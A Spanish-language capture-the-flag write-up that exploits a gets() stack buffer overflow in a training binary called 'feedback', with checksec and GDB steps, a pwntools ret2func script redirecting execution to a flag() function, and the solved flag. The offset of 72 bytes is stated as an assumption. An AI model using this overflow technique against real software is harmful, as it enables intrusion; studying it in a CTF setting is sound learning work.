Write-up: Feedback

Se nos proporciona un binario llamado "feedback" con la siguiente descripción: "Gracias por participar, ¡esperamos que te haya gustado! Y recuerda, está prohibido atacar la infraestructura."

Al ejecutarlo, el programa solicita una reseña:

```
$ ./feedback
Deja una reseña sobre nuestro CTF:
```

Análisis Inicial

Tipo de Archivo

```
$ file ./feedback
feedback: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=..., for GNU/Linux 3.2.0, not stripped
```

Es un ejecutable ELF de 64 bits no strippeado (contiene símbolos).

Comprobación de Seguridad

```
$ checksec --file=./feedback
RELRO           STACK CANARY      NX           PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable     FILE
Partial RELRO   No canary found   NX enabled   No PIE        No RPATH   No RUNPATH   39 Symbols    No      0              2               ./feedback
```

Resultados clave:

- No canary found: No hay protección contra stack smashing
- NX enabled: El stack no es ejecutable
- No PIE: El código del binario se cargará siempre en las mismas direcciones de memoria fijas

Análisis de Strings

```
$ strings ./feedback
Deja una reseña sobre nuestro CTF:
Gracias! Esperamos que lo hayas disfrutado.
(Te crees que te voy a dar una flag solo por quejarte?)
flag  # <-- Función llamada 'flag'
gets  # <-- Vulnerabilidad! gets() es insegura
```

La presencia de `gets()` confirma una vulnerabilidad de Buffer Overflow en el stack. La existencia de una función `flag` sugiere que nuestro objetivo es llamar a esta función.

Identificación de la Vulnerabilidad

La función `gets()` lee desde la entrada estándar hasta encontrar un salto de línea, pero no comprueba el tamaño del búfer de destino. Esto nos permite sobrescribir datos en el stack, incluyendo la dirección de retorno guardada.

Las ventajas que tenemos:

- No hay canary, por lo que podemos sobrescribir la dirección de retorno sin interrupciones
- No hay PIE, lo que significa que la dirección de la función `flag` será constante en cada ejecución

Estrategia de Explotación: Ret2Func

Nuestra estrategia es:

1. Encontrar el offset exacto necesario para sobrescribir la dirección de retorno
2. Encontrar la dirección fija de la función `flag`
3. Enviar un payload con el relleno adecuado seguido por la dirección de `flag`

Pasos de la Explotación

1. Encontrar el Offset

Usamos GDB con un patrón para determinar cuántos bytes necesitamos hasta sobrescribir RIP:

```
$ gdb ./feedback
gef➤ pattern create 200
# Ejecutar el programa con el patrón
gef➤ r
# Verificar el crash
# Determinar el offset (supongamos 72 bytes)
```

2. Encontrar la Dirección de flag

```
$ objdump -d ./feedback | grep '<flag>:'
00000000004011e6 <flag>:  # Dirección que necesitamos
```

O dentro de GDB:

```
gef➤ info functions flag
All functions matching regular expression "flag":
Non-debugging symbols:
0x00000000004011e6  flag
```

La dirección de `flag` es `0x4011e6`.

3. Construir y Enviar el Payload

Script de explotación usando pwntools:

```
#!/usr/bin/env python3
from pwn import *

# Configuración
context.binary = elf = ELF('./feedback')
context.log_level = 'info'

# Variables
OFFSET_RET = 72              # Offset hasta RIP
FLAG_ADDR = elf.symbols['flag'] # Dirección de 'flag'

log.info(f"Offset hasta RIP: {OFFSET_RET}")
```

```
log.info(f"Dirección de la función flag: {hex(FLAG_ADDR)}")

# Conexión (local o remota)
# p = process()
p = remote('direccion.del.ctf', 12345)

# Payload
payload = b'A' * OFFSET_RET    # Relleno
payload += p64(FLAG_ADDR)      # Sobrescribir RIP con flag()

log.info("Enviando payload...")

# Interacción
p.sendlineafter(b':', payload)

# Recibir la flag
log.success("Payload enviado. Recibiendo salida:")
try:
    print(p.recvall(timeout=3).decode())
except EOFError:
    log.warning("La conexión se cerró.")

p.close()
```

La flag obtenida es: hfct{Gr4c14s_p0r_p4rt1c1p4r}